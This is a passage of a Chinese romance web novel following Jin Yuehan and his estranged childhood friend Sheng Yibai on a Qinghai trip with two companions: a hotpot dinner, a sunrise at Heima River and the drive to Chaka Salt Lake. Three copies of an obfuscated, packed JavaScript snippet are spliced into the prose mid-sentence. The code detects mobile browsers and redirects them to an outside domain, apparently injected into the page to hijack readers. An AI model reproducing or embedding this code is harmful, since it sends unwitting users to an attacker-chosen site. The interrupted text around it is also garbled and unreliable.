听到阿姨的话,靳越寒反应过来说的是自己和盛屹白。只有他和盛屹白穿了黑衣服,而路柯和徐澈一个蓝一个灰。 他刚准备回应,就听见盛屹白先开口应了句好。 紧接着站在取景器外的盛屹白往他这边靠了点,两个人的距离很近,肩膀挨着肩膀。 这张照片里,他和盛屹白站在石头的右侧,前面是枯黄的草地,背后是碧蓝的湖水和连绵的雪山。 照片里的他们模样与八年前没有太大区别,只是更成熟了些。 好像什么都没变,但其实已经,各自走过了截然不同的人生轨迹。 合完影回到车内,靳越寒吸了会儿氧,脑子里忽而想起他和盛屹白在一起时的最后一张合照。 那是大一那年的初夏,盛屹白来他的社团活动帮忙,代替他穿上笨拙厚重的玩偶服。 活动结束后,朋友帮他们拍照。摘下头套时盛屹白的脸已经热红,额角被汗水打湿,却还是要紧紧贴着靳越寒。 十九岁,照片里的他们笑得那样甜蜜幸福,可偏偏在他们分开很久后,身处异地时才收到那张照片。 那张照片现在在哪里,靳越寒怎么也想不起来。不知道是时间太久忘记了,还是因为生病造成的记忆缺失。 曾经的记忆,他总有记不清的。越拼命想起,就越是容易忘记。 等到他记起时,他们已经到了吃饭的地方。 高原的天色还未晚,远处的天空飘着暗红色的晚霞。推开火锅店那扇绘着吉祥八宝图案的木门,一股汹涌的热浪裹挟着浓烈的肉香扑面而来。 店内并不算特别明亮,几盏暖黄的酥油灯悬在梁上,光线柔和地铺洒开来。 他们被引到一张靠窗的木桌旁落座,靳越寒最后一个坐下,只留有盛屹白对面的位置。 桌面中央摆着一口巨大的黄铜锅,锅底是翻涌的浓郁褐色的汤,表面漂浮着几颗红枣和枸杞,以及一些葱段姜片。 靳越寒垂着脑袋出神,耳边是他们插科打诨的话。他就这样安静地坐着,直到一双手伸到了自己面前。 盛屹白端来一碗原汤放到他面前,厚实的木碗盛着,汤色深沉如琥珀,表面浮着一点点金色的油星。 靳越寒双手接过,说了声谢谢,声音有些沙哑。 盛屹白另外盛了两碗汤给徐澈还有路柯,这种原汤不仅鲜香,还加入了一些高原药材,喝完身体都暖了起来。 徐澈喝完汤,转而对盛屹白说:“想念程阿姨做的汤了。” 以往工作忙,遇上节假日回不了家,徐澈都会跟着去盛屹白家住两天。这个时候盛屹白的妈妈就会做很多菜和汤,味道比外面的饭店好吃不知道多少倍。 靳越寒握碗的手一抖,听着盛屹白说:“她这几天跟我姐去外面旅游了,没说具体什么时候回。” “啊?”徐澈一脸惋惜:“那到时候我们回去,她们应该就回来了吧?” 盛屹白摇头,“不确定。” 靳越寒埋头喝着汤,动作有些僵硬。他也想念程阿姨做的汤,想念屹希姐,更想念那段回不去的日子。 她们会想见到他吗,靳越寒不知道,也许不想,就像他姑姑不想看到盛屹白一样。 他们两家人,谁也看谁不顺眼。 很快,服务员端着一个硕大的木质托盘走来,里面堆叠着切成厚片的肉块和带骨的肋排。 还没下锅,几个人就已经咽了咽口水,盯紧那些肉下锅。 服务员是个藏族小伙子,普通话还算流利,一边熟练地把肉下锅,一边抽空和他们聊了几句。 “你们这个旅游团,卡颜吗?” 大家都愣了会儿,盛屹白眉头微挑,问他:“什么意思?” 小伙子笑容淳朴,“没什么,就是看你们长得帅嘛,刚一进来还以为是艺人,可把我们吓了一跳。” 等人下完肉走了,徐澈终于忍不住,趴在桌子上大笑起来。也许是感染力太强,大家都跟着笑了起来。 靳越寒本来没想笑,后面没忍住,跟着抿起嘴笑,筷子在盘子里轻轻滑动着。他连笑容都很含蓄,不像其他人那样放声大笑。 路柯瞧见了,让他别憋着,想笑就笑。 靳越寒笑着摇头,眉眼弯弯,说自己没有。 他的余光瞥见对面的盛屹白,开始恍惚,现在到底是今夕何夕。 盛屹白这样的人,不笑时感觉很清冷,但笑起来充满阳光少年气,暖黄的灯光打在他的左脸上,平白生出一丝温柔。 特别是当他那双无比深情的眼睛看过来时,靳越寒手一松,筷子跌落,像是砸在了他的心间。 他很快把筷子捡起,重新拿了双干净的,假装什么也没发生。 吃到一半时,每个人的脸颊都在炭火和热汤的熏蒸中泛起了红晕,额头沁出细密的汗珠。大家顾不上太多言语,连汗都来不及擦,只一个劲的夹肉吃。 吃饱喝足后,准备结账时,徐澈说:“谁先付,回去群里转账A给他。” 靳越寒离收银台最近,起身说:“我先付吧。” 说完他掏出钱包里的卡,往收银台走去。 靳越寒一走,徐澈赶忙问盛屹白:“靳越寒是不是富二代?” “?” “他刚才那钱包我没看错的话,好像挺贵的吧,当时咱部门那谁不就是个小富二代吗,钱包就跟靳越寒那个一样。” 盛屹白没说话。靳越寒不是富二代,是富三代,他记得靳越寒的爷爷很有钱,他的姑姑姑父都是做生意的。 “不知道。”盛屹白淡淡道。 徐澈纳闷了,“你怎么又不知道,你们不是发小吗?” 听到“发小”,路柯满脸惊讶:“发小?!” 徐澈昂了一声,指着盛屹白:“他说的。” 路柯一时间看盛屹白的眼神复杂起来,他只听靳越寒说两个人以前是朋友,不知道是发小啊。 难怪靳越寒一脸落寞忧伤,难怪靳越寒看起来那么在意盛屹白,原来因为他们是发小的关系。 他就知道,两个人的关系没那么简单。 回酒店的路上,靳越寒总觉得路柯看自己的眼神很奇怪。 他松开抿紧的唇,小心问:“怎么了?” 路柯叹了口气,“你没说你跟盛屹白是发小,我还以为你们俩就是普通朋友。” 靳越寒很明显愣住了,张了张嘴,说不出一句话。 见他又开始不说话,路柯自顾自地说:“你说你们俩是发小,现在又在旅途中重逢,换作是我,应该也会像你这样闭口不谈。” “为什么?”靳越寒问。 路柯眼睛一亮,“因为难为情啊,怕对方不记得我。只有我一个人记得这段关系,我会觉得很尴尬很丢脸。” 他不像靳越寒那样看起来对什么都不感兴趣不在乎,相反他在乎的东西太多了,其中就包括面子。 靳越寒开始思考他这些话,如果盛屹白不记得他了,他应该会很伤心难过,而不是尴尬丢脸。 路柯体谅地笑笑,“所以这件事你没告诉我,自然也有你的原因。” “徐澈还问你是不是富二代。”路柯想了一会儿,继续说:“其实我一开始也怀疑,因为你住在金融中心,身上的东西看着都不便宜。” 靳越寒很快解释说不是,“那是我姑姑家,东西也都是我姑姑买的。” 钱都是他姑姑的,跟他没有半点关系。 “这样啊。”路柯开始复盘靳越寒曾经说过的话,“你是榆阳人,前段时间刚回国,暂时住在延桐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484820|185688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的姑姑家,那你爸妈是都在榆阳吗,还是在国外?” 靳越寒咬紧唇,又松开,“不是,我爸妈很早就不在了,从小我就跟姑姑住在一起。” 听到这句话,路柯手一滑,差点没抓稳方向盘。 他胡乱眨了几下眼,感到很内疚和尴尬,“抱歉啊,我不知道,说错话了。” “没事。” 靳越寒摇摇头,从小到大总有很多人问起这个问题,他早就习以为常。 车里安静下来,路柯一时间对靳越寒的感情复杂起来,除了同情,还有很大一部分疑惑。 段暄只说和靳越寒是朋友,却没说两个人是怎么认识的,对于靳越寒的事他也知之甚少。 他知道段暄是精神科的医生,但不敢乱猜靳越寒会不会是段暄的病人。当时段暄拜托他时,只说靳越寒是他朋友,让他在旅途路上多照顾一下。 没有人规定跟医生有关系的就一定是病人,这样的话路柯自己和段暄还是那么多年的朋友,那他岂不是也有病人的嫌疑。 而且靳越寒看起来很正常,除了话少内敛以外,不像有病的样子。 意识到自己对靳越寒这样随意猜测不对,路柯更内疚了。加上刚才的说错话,他决定对靳越寒再好一点,想着要不要送台相机给他。 他现在全身上下,最值钱的就那几台相机了。 到了酒店,办理好入住手续,听到路柯说准备送台相机给他,靳越寒睁大眼睛,感到很惊讶。 他摆着手说:“不用不用,相机给我我也不会拍。” “那怎么办,刚才的事我挺过意不去的,我身上没有更值钱的东西了。” “没什么好过意不去的。”靳越寒背着包停在前面,“我们不是朋友吗,朋友之间不用计较这些。” 听到他这样说,路柯豁然开朗了。 “对,朋友。” 就像那些,原本以为要一个人走到黑的路,突然出现了并肩的朋友,所以从此路途一片光明。 他们之间不用计较这么多。 订的两间房在不同楼层,他们定好明天早上去黑马河看日出。九月十四日,日出时间可能在七点零二分左右,得提前一个小时出门。 在电梯分别时,盛屹白提醒说:“明天早上会很冷,记得穿厚点。” 路柯问会有多冷,盛屹白说:“大概零度到五度之间。” 零度到五度,要穿的衣服那可比延桐的冬天穿的还要多了。 路柯比了个OK的手势,拉着靳越寒走出了电梯。 电梯门关上,徐澈手抵着下巴,怀疑道:“你们俩真的是发小吗,怎么看都不像。” 盛屹白拧着眉,“怎么说?” “气氛不对你知道吗,你们俩待一块儿,总给我一种过冬的感觉,从你们旁边过都要多穿件羽绒服。” 盛屹白无语的笑了。 出了电梯,进到房间,盛屹白刚打开灯,徐澈站他身后问:“在青海湖那会儿,你俩站湖边说什么了?” “别跟我说没什么事,靳越寒当时都要哭了,也就路柯没发现,我可是看得清清楚楚。” 盛屹白脱掉那件黑色外套,理了理头发,“你这么好奇,明天自己问他。” 徐澈:“我也不是好奇,我是觉得你们俩心里藏着事,来旅游不就是为了放松忘记烦恼的吗,这样藏着事玩也玩不开心。” 盛屹白抬起眼,反问他:“现在的人,能有几个心里不藏事,你敢说你没有,路柯没有?” 盛屹白一副要把人看穿的模样,徐澈搓着手臂远离他。 “算了,我不说了,也不问了,你们自己的事自己解决吧。” 徐澈进了浴室,盛屹白在沙发上坐了会儿。本来想去阳台抽根烟,摸出烟盒又丢了回去。 微信群里路柯传了几张照片上来,盛屹白点开看,是两张今天下午的合照。 他的手指停在屏幕里靳越寒的脸上,最后保存了那两张照片。 保存完照片,靳越寒退出微信,点进相册又确认一遍有没有保存成功,结果发现存了四张。 他没舍得删重复的那两张,就这么存在相册里。 他的手机里干干净净,通讯录只有寥寥几人,微信好友不超过十个人。 就连相册都只有一些害怕自己忘记,而存下的琐碎的截图而已。 看着那四张合照,靳越寒躺在床上,想到八年前他跟盛屹白的合照去哪了,还是免不了难过。 那张合照,跟他的手机,连同和盛屹白的联系,一起消失在了八年前冬天那条漆黑的河里。 那年纽约的冬天冷得不真实,一切仿佛都早有预兆。 10. 独属日出 出发去黑马河看日出前,靳越寒没想到,五点半外面会这么冷。 他们每个人都穿上了自己此行最厚的衣服,真的像过冬一样。 靳越寒头上戴了顶护住耳朵的蓝色毛线帽,怕风大,他又把白色羽绒服上的帽子一起戴着,还穿了双保暖防水的鞋子。 走出外面,呼出的热气瞬间化作白雾,气温接近零度。 盛屹白穿了件黑色的冲锋衣,里面加了抓绒内胆,戴上黑色帽子和防风口罩,冷着脸不说话时让人感觉比这天还冷。 路柯和徐澈还没出来,靳越寒慢步走到他旁边,呼吸都放缓了,生怕盛屹白下一秒就离自己远远的。 盛屹白没说话,视线落在那裹得跟熊一样的靳越寒身上。 靳越寒小声问:“昨天晚上转给你的钱,你怎么没收?” 是昨天下午,可乐和水,还有糖的钱。 他好不容易鼓起勇气发了条信息给盛屹白,结果一晚上都没理他。 盛屹白抬眼,问他:“那一百块?” 靳越寒点头,轻嗯了一声。 “不需要。” 哪里需要这么多钱。 靳越寒一听,急忙道:“需要的,昨天的事我想谢谢你。” “没什么好谢的。”盛屹白说得轻巧,“不是我,换作是别人也会帮你,我只是顺手做了大家都会做的事。” 好像这样说,他昨天对靳越寒的关心和担忧,就不是出于私心一样。 靳越寒感到气馁,默默转过身不再与他说话。 没必要,不需要,这样不对,没什么好谢的…… 靳越寒想,盛屹白怎么比以前还要嘴硬。七岁那年刚跟盛屹白认识的时候,自己花了好长时间,嘴皮子都磨破了,盛屹白才松口愿意跟他玩。 现在盛屹白这样,他都不知道该怎么办才好,总不好再像以前那样死缠烂打。 没一会儿,路柯有条不紊的出来。 他刚把准备拍照时戴的手套塞进包里,看见一黑一白站在门口,吓得一激灵,还以为起猛见到黑白无常了。 见两人气氛紧张,他连玩笑都没开,默默站在一边。 徐澈最后一个急急忙忙出来:“抱歉我晚了,一直找不到厚袜子,翻了半天的行李箱。” 盛屹白说:“不是就放在你床边?” “操,昨晚我以为那是你的,反手扔进你箱子里了。” 盛屹白:“……” 路柯在一旁笑得合不拢嘴,徐澈听见了,说他:“你怎么穿得像一根香蕉,帽子绿的,衣服黄的,裤子黑的。” 路柯拉着脸,推了一把徐澈,“喂,这是我最厚的衣服了,我还没说你穿得跟圣诞树一样。” “什么圣诞树!”徐澈急得跳脚,“路柯你看清楚了,我这衣服不是绿,是青的!” 路柯把脸一瞥,当做没听见,任由徐澈在那里解释。 见徐澈还要在那跟路柯辩解,盛屹白直接上手把人拉走,“再不走就赶不上日出了。” 靳越寒站在原地,盯着盛屹白的背影好一会儿,才跟着路柯上车。 他觉得盛屹白穿得还是太少了,他好像总是不喜欢穿很多衣服,往年榆阳的冬天特别冷,盛屹白也只会在外面穿一件羽绒服。 不像他,因为怕冷,总是会把自己裹成个粽子一样。 因此,盛屹白的妈妈每年织的毛衣都给了靳越寒穿。 酒店有很多人跟他们一样要去看日出,靳越寒看见甚至有人直接把酒店的被子裹在了身上。 路柯叹了口气,问:“我这穿得总比那些裹被子的好吧?” 见他皱着眉,还在在意刚才徐澈的话,靳越寒安慰道:“你这样很可爱,不像香蕉。” 路柯捂着脸笑了,还不如直接说他像香蕉呢。 他们一路开到环湖西路沿线,那里有很多可以下到湖边的地方。找到一处视野开阔的位置,路柯架好三脚架,把相机的位置固定好。 除了他们几个以外,后面陆陆续续来了很多人,此时六点五十分,离日出还有十多分钟。 破晓前的黑马河,像是凝固的冰蓝世界一般,寒气像无数细腻的针穿透厚实的衣服,刺向每一寸肌肤。 脚下,环湖西路的荒草覆盖着一层晶莹的霜花,踩上去会发出细微的碎裂声。天色将亮未亮时,呼出的气息瞬间凝成了白雾,浑身都被寒风吹得麻木僵硬。 靳越寒冻得打了好几个喷嚏,他接过路柯递来的热水,喝了好几口身体才暖起来。 他手上拿着保温杯的盖子,刚想问是谁带来的杯子,转过身就看见杯身在盛屹白手里。 原来是盛屹白的吗。 路柯也带了个保温杯来,但被徐澈喝的差不多了。 还回去时,靳越寒偷偷看了眼盛屹白被口罩遮住一半的脸,注意到他眉间舒展,并没有一丝的不悦。 他还以为盛屹白会不高兴,因为盛屹白有洁癖,不喜欢和别人共用一个杯子。虽然他以前经常喝盛屹白的水,但不知道现在还可不可以。 湖边的风越来越大,几乎要睁不开眼。 靳越寒踩着石头往后退时,身体一斜没踩稳,以为要摔下去时,突然一只手横在了他的腰间,将他扶稳。 他抓着盛屹白的手没放,还没从刚才的惊吓里缓过神来。 盛屹白干脆牵着他往后站了点,让他站稳别摔了。 靳越寒乖乖点头应了声好,不舍地松开了自己的手。他把手伸进口袋里,一遍遍回头确认盛屹白是不是还在旁边。 他需要通过这样的确认来获取一些安全感,一些盛屹白在时才会有的安全感。 见他老看自己,很怕自己会走一样,盛屹白干脆说:“我就在这里。” 靳越寒这才放下心来,没再回头看。 人群中,不知道是谁喊了句“太阳出来了”,紧接着周围的人跟着哇了一声。 路柯和徐澈调好相机,急急忙忙挤到靳越寒和盛屹白旁边,四个人站在一起,仰头跟着哇了出来。 起初,是铁灰的湖天相接处渗出了一抹淡粉,这抹粉迅速晕染开,点燃了云层底部,将它们化作一片燃烧的橘红熔金。 冰蓝的湖面开始倒映这天空的烈焰,突然,一道锐利得几乎刺眼的金芒,像利剑一般,猛地刺破了浓厚的云霞。 紧接着,那一点日出挣脱了地平线的束缚,不过瞬间,万丈光芒倾泻而下,撕裂了所有的灰暗和寒冷。 当日出来临时,光芒照耀着整片大地,高涨的湖水渐渐退去,所有的寒冷和等待,都在这无与伦比的美面前,变成了无数的惊叹。 大家在这一时刻不约而同拿出相机拍摄,靳越寒想了会儿,决定也拍一张。但前面站了好些人,甚至还有比他个高的挡住了视线。 他刚准备踮起脚拍,突然后背被人撞了下,手机差点甩出去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484821|185688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 路柯不高兴了:“那人怎么回事,道歉都不说就这么走了!” 靳越寒说自己没事,让路柯别生气。当他第二次准备踮起脚时,手一空,手机被抽走了。 盛屹白侧过脸问他:“要拍几张?” 靳越寒反应过来,回答:“一两张就好。” 他看着盛屹白穿过人群挤到前面,拿着他的手机帮他拍他想要的日出。 日光漫溢中,盛屹白的背影被灿烂的阳光包围着。 靳越寒突然想,啊,这个才是他想要的日出。 跟别人不一样的,独属于他的。 如果往后的日出都像今天这样,那他的每一天都会无比灿烂。 - 看完日出,原本攒有的一腔热情被困意消磨了个干净。 起太早了,大家都哈欠连连。他们今天的计划是先回酒店睡到十二点,吃完午饭再前往茶卡盐湖。 这几天一直在开车,路柯的腰不好开始痛,靳越寒又开不了车,于是他问徐澈能不能帮他开回去。 徐澈逗他,“可以啊,叫声哥来听听。” 路柯是他们几个中年纪最小的,徐澈又是最大的那个。 “我才不叫。”路柯脸一转,像是生气,“不帮就不帮,我找盛屹白。” 说着他就要去找盛屹白,徐澈追上去喊他。 “路柯!路柯!我没说不帮,我帮你不就是了,怎么还生气了。” 路柯停下来,把车钥匙扔给他。 徐澈接过,笑了笑,问他还有没有别的要帮忙的。 看见徐澈一直跟在路柯后面,两个人一会儿笑一会儿严肃的,靳越寒觉得神奇,怎么没发现他们已经熟到这种地步了。 人和人的关系,原来是可以在短短几天建立起来的。 他蹲在草地边好一会儿,听见盛屹白叫他才站起身,跟着他往回走。 徐澈甩着车钥匙上车时,靳越寒问:“路柯呢?” “他腰不舒服,今天我来当你的司机。” 听到这个,靳越寒心里很不是滋味,早知道考个驾照再过来了,这样路柯也不至于一直开车。 “那他没事吧?” 徐澈想了会儿,“应该没事吧,走路没问题,就是开车不太行。” 靳越寒点点头,走路没事就好。 徐澈连上蓝牙,问他:“要听歌吗?” 靳越寒说可以,后来回去的路上他一直在后悔自己说的这两个字。徐澈放了一路的摇滚乐,没事就嚎两嗓子。 徐澈问他会不会嫌吵时,他还要强颜欢笑,说没关系。 透过后视镜,他看了眼后面跟着的黑色越野,突然有点好奇盛屹白和路柯一起会说些什么话。 不过也可能不会说什么,盛屹白那么高冷,昨天晚上路柯还说他看起来不好相处,碰上他感觉说什么话都不合适。 从上车起,盛屹白真就没说过一句话,搞得路柯有些尴尬。 他正准备闭眼休息会儿,旁边的人突然开口。 “你跟靳越寒,为什么会一起来这里?” 路柯猛地转过脸,盛屹白继续问:“你跟他是什么关系?” 周围的车辆渐渐超过他们,他们的车速明显慢了不少。 路柯一眯眼,打量着他:“你好奇这个?” “对。” 盛屹白就这么承认了。 “我好奇这个。” 11. 一无所知 盛屹白这么大大方方承认,反倒是路柯愣住了。 他把身子坐正,回答:“我跟他就是一起旅游的朋友。” 见盛屹白看了自己一眼,路柯继续说:“他上个月刚回国,准备去西北旅游,但在国内好像没什么熟人,段暄就联系我拜托我跟他一起去。” 盛屹白皱眉:“段暄是谁?” “噢,我一个在国外的医生朋友,他跟靳越寒好像也认识挺多年的。” “医生朋友?” 盛屹白第一反应是靳越寒生什么病了吗,不然怎么会认识医生。 路柯摇摇头,“我一开始也这样以为,但没听说靳越寒生病,而且他看起来挺健康的,再说了,又不是所有和医生认识的都是病人。” 道理是这么个道理,盛屹白沉思片刻,才问:“所以你们只是朋友?” “对啊,前后认识不超过一星期。” 路柯说得坦荡,盛屹白反而觉得自己可笑了。 原来他们单纯只是朋友,他还以为路柯对靳越寒这么关心,是出于别的什么。 盛屹白的表情没有一开始那么冷淡,此刻缓和了许多,路柯以为这是破冰成功了。 见盛屹白也不像平日里看起来对靳越寒那么冷淡、满不在乎,反而主动好奇他的事,他又问: “你和靳越寒呢,真的只是发小吗,是不是以前发生过什么?” 直觉告诉他,他们之间肯定发生过什么,不然靳越寒不会对他们的关系这么在意,盛屹白也绝没有表面看起来那么轻松随意。 当局者迷,他这个旁观者看得清。 盛屹白很快又变成了那副冷淡的模样,轻描淡写:“没什么。” 原本以为热络的气氛又冷下来,就连车窗内投射进的阳光都显得苍白。 见他不想说,路柯也不多问,只是自顾自说:“发小也挺好的,我还怕他从小到大都没什么朋友,那样也太孤单了。” 回忆起刚开始接触靳越寒时的模样,路柯垂着眼,“我不知道他以前发生了什么,见到他的时候就像现在这样沉默寡言不爱说话,整个人看起来很不好。” “当时段暄问我能不能跟他一起去旅游,我想都没想就答应了,就觉得自己应该跟着一起去。” 明明是前段时间的事,不知道为什么路柯总觉得过了很久一样。 他看向盛屹白,声音诚恳:“如果你们曾经关系很好,我希望你可以帮帮他,至少让他看起来开心乐观一点。” “你看得出来吧,靳越寒他很在乎你。” “他一个来旅游,连风景都不在乎的人,却那么在乎你。” 盛屹白怎么会看不出来,不管是在日月山,还是青海湖,靳越寒的视线一直停留在他身上。 只是他说了不好听的话,让靳越寒和他保持距离。 到了酒店,路柯下车后,盛屹白一直在车里没下去,徐澈来喊他时他只是摇摇头,说自己等会儿再走,却在车里坐了一早上。 朝阳一点点从熔金渐褪成温煦浅黄,泼洒的光愈发炽烈。 盛屹白好几次打开烟盒,又颓丧地扔在一旁。 他总自信的以为自己很了解靳越寒,能从他的表情动作察觉到他想做什么,但其实那么多年了,什么都变了,他就算看得出来又怎么样,他什么都不知道。 不知道靳越寒这几年经历了什么,不知道他为什么会变成现在这样沉默寡言、不爱说话,一副把自己封闭起来的样子,也不知道这几年他过得究竟好不好。 他对现在的靳越寒一无所知。 他甚至不敢去想,这几年靳越寒是不是过得不好。 要是靳越寒过得不好…… 那他们那么多年的分开还有什么意义。 - “他问了你跟我的事?” 靳越寒急忙起身,有些难以置信。 路柯省去一些不能说的,“对,问我们什么关系,我说我们就是正常的朋友。” “还问了什么吗?” “没了,他这个人话特别少。” 靳越寒说了声好吧,重新坐回床边,不懂盛屹白为什么要问这些。 原本都已经拉上窗帘准备睡觉了,路柯一转身,发现靳越寒还在抱着手机,不知道看什么这么投入。 他喊了靳越寒一声,问他:“看什么看这么久?” 靳越寒眼睛亮亮的,像盛了满天银河,说:“在看今天早上拍的日出。” “就盛屹白给你拍的那几张?” 靳越寒点头,路柯伸过手,“给我看看拍的怎么样。” 看完后他把手机还回去,说:“拍得挺好的,想不到盛屹白连这个都会。” 靳越寒的嘴角弯起一个小小的弧度,心想当然了,盛屹白就是什么都会,做什么都很好。 “你想不想看我拍的?” 路柯边问,边把相机包打开。靳越寒一说好,他就飞快坐到他旁边,献宝似的一张张滑给他看。 昨天在青海湖时,靳越寒只看了一两张,现在陆陆续续把路柯觉得拍得好的都看完,他才意识到,路柯的摄影技术这么好。 比他以前工作时,见到的那些扛相机的人拍的都好。路柯在摄影这方面,是真的很有天赋。 听到他说这些,路柯不好意思地笑笑。 “听你这么一说,我心里舒坦多了。” 靳越寒不是很明白这句话的意思,他眨了下眼,就这么看着路柯。 路柯笑着叹了口气:“我爸妈一直不同意我干摄影,觉得我这个人想一出是一出,没个定性,不够稳重,认为我做什么都不会成功。” “前段时间还一直说我不是干这行的料,劝我趁早改行,也不知道是他们故意这样说的,还是我真的不适合干这行,导致我一度自我怀疑过。” “但是现在听你说这些,有个人夸我,我就觉得很有信心,自己也没那么糟嘛。” “我只是实话实说,你拍的很好,也很有天赋,他们说的都不对。” 靳越寒想起之前在书里看到的话,又说:“谁也不是一开始就能找准自己的人生定位,总要不断尝试,才知道自己究竟想要什么。” 说完,他不知道自己说的究竟对不对,对路柯有没有帮助,很担心自己说错了话。 路柯愣了会儿神,“我发现,你其实是个挺温暖的人。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484822|185688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>温暖? 靳越寒瞳孔微微一颤,“温暖吗?” “是啊。”路柯笑了笑。 在靳越寒还在想自己哪里温暖时,路柯一边收起相机,一边归纳总结:“你说的对,总要不断尝试才知道自己想要什么,不稳重就不稳重吧,起码我在做自己认为值得的事。” “他们不支持不信任我,那我就越要证明给他们看,我是可以做成功一件事的。” 年少气盛,总有无限的精力去做那些自己认为值得的事。 往后回头看时,才会不留遗憾,毕竟曾经真的为此努力过。 有些热情和坚持就像向日葵,需要自己先朝着光生长,才能吸引他人驻足欣赏。 靳越寒突然庆幸,路柯是这样一个热情开朗的人,像个小太阳,总会拨开云层散发自己的光和热。 在路柯睡着以后,靳越寒睡不着,躺在床上盯着天花板看了很久。 旅程是短暂的,总要回归现实生活。 可他一点对未来的打算都没有,不知道将来该做什么,该去哪里。 路柯有自己热爱和想要坚持去做的事,那他呢,他有吗。 曾经是有的,但肯定不能做了,让他去做别的,他也没有信心能够做好。 姑姑说他可以什么都不做,不用非要跟别人一样,可他想像一个正常人一样,有自己的生活和工作。 不想像一个脱离社会的边缘人,总是那么格格不入,那么的迷茫和不安。 人生的起伏太大,许多个午夜梦醒时分,他总是难以接受这样的落差,不敢相信他现在真的,什么都没有了。 好像失去爱人和朋友还不够,最后还要失去梦想。 四年前在美国发生那件事以后,大家都说他可怜,平白丢了前途,还把名声搞这么难听。 可除了可怜,他更觉得自己可恨。 这么多年他总在自责内疚,要是当初自己没有说那些话,自己早一点察觉,是不是就可以挽救,就不会发生后面的事了。 但这种假设,连在梦里都不曾成立过。 所以他现在的一切,也都是咎由自取,他做不到原谅这样的自己。 所谓的温暖,也只是一种错觉。 半梦半醒间,他像是看见了那个短暂相处过几个月的人,可连名字都没能喊出口,就被路柯的声音叫醒。 “靳越寒!靳越寒!” 路柯推着他的肩膀,“你怎么睡这么熟,闹钟响了好久都没醒,快点收拾一下,准备下去吃饭了。” 靳越寒胡乱点着头,坐在床上好一会儿才起来收拾。 午饭定在酒店附近的一家餐馆,中午的人最是多,他们在熙熙攘攘的人群中搜索了好一会儿,才看见先来点餐的徐澈。 “这里这里!”徐澈朝他们挥着手,脸上洋溢着笑容。 这一幕定格,恍惚间靳越寒感到莫名的熟悉感,透过徐澈看到了某个身影,清醒过来又发现不是。 他用力拍了下额头,让自己不要犯迷糊。 “盛屹白呢?”路柯问。 “他啊,”徐澈啧了一声,摇摇头:“一早上没回房间,也不知道干什么去了。” 12. 炙热期待 盛屹白出现时,菜刚好全部上齐。 靳越寒想问他早上去哪了,察觉到盛屹白敛着眉,像是心情不好,他收起了想问的话。 他猜,盛屹白是不是不高兴了,他为什么不高兴。 这些疑惑萦绕在靳越寒脑子里,直到盛屹白起身走了他还没想明白。 中途徐澈有问盛屹白早上干什么去了,盛屹白说:“睡不着,附近逛了逛。” “那你逛到什么了,附近是不是还有别的好玩的?” 盛屹白摇摇头,徐澈嗐了一声,“那就出发去茶卡盐湖吧,过去得三个多小时,够呛的。” 中午的日头正足,在西北连着三天都是大晴天。 靳越寒把自己的东西搬到车上,他远远瞧着徐澈拎着路柯的包过来,说路柯腰还是不行,今天都由他来开这辆车。 靳越寒默默应了声,视线落在不远处的盛屹白身上。 徐澈瞧见了,问:“怎么了,想盛屹白过来开?” “不是!” 靳越寒着急否认的样子局促又好笑,徐澈笑眯着眼,承诺道:“下次啊,下次我跟他换,让你俩一辆车。” 靳越寒的脸不知不觉变热,他连忙摆手说不用,自己不是那个意思。 徐澈哪管他是不是这个意思,冲着他吹了声口哨,一脸“包在我身上”的表情。 最后靳越寒没再解释,他想这样也挺好,就是不知道盛屹白愿不愿意。 一路向前,车子驶出山峦,离开湖区后,道路开始缓缓爬升,眼前是连绵起伏的草山,因为季节而呈现出深浅不一的黄绿色调。 翻越橡皮山垭口,随着海拔的升高,植被逐渐变得低矮疏松,能看见大片金色的草甸和耐寒的灌木丛。 直到下坡,柴达木盆地的广阔天地在眼前铺开,强烈的阳光让远方的景物有些蒸腾感,但盆地的辽阔苍茫感扑面而来。 绿色越来越少,大地的主色调变成了土黄、灰褐,山体变得更为干燥、棱角分明,呈现出典型的荒漠地貌特征。 巨大的风力发电机矗立在远方,白色叶片在阳光下缓慢旋转。向茶卡方向望去,天边隐约可见青灰色的山峦轮廓,那是茶卡盐湖所在的盆地边缘。 靳越寒安静地坐着,眼珠子不停往外看,将景色收入眼底,没有像徐澈一样不断发出嗷嗷声。 距离茶卡镇越来越近,路边开始出现大片的盐碱地。白色的盐霜覆盖在裸露的土地上,在阳光下闪闪发光。 穿过茶卡镇,空气中似乎都带上一丝若有若无的咸味,镇上的建筑在午后的阳光下显得安静。很快,巨大的盐湖景区入口和标志就出现在了眼前。 他们到达茶卡天空壹号景区,排队买完票进去,入口处又花十块钱租了防水鞋套。 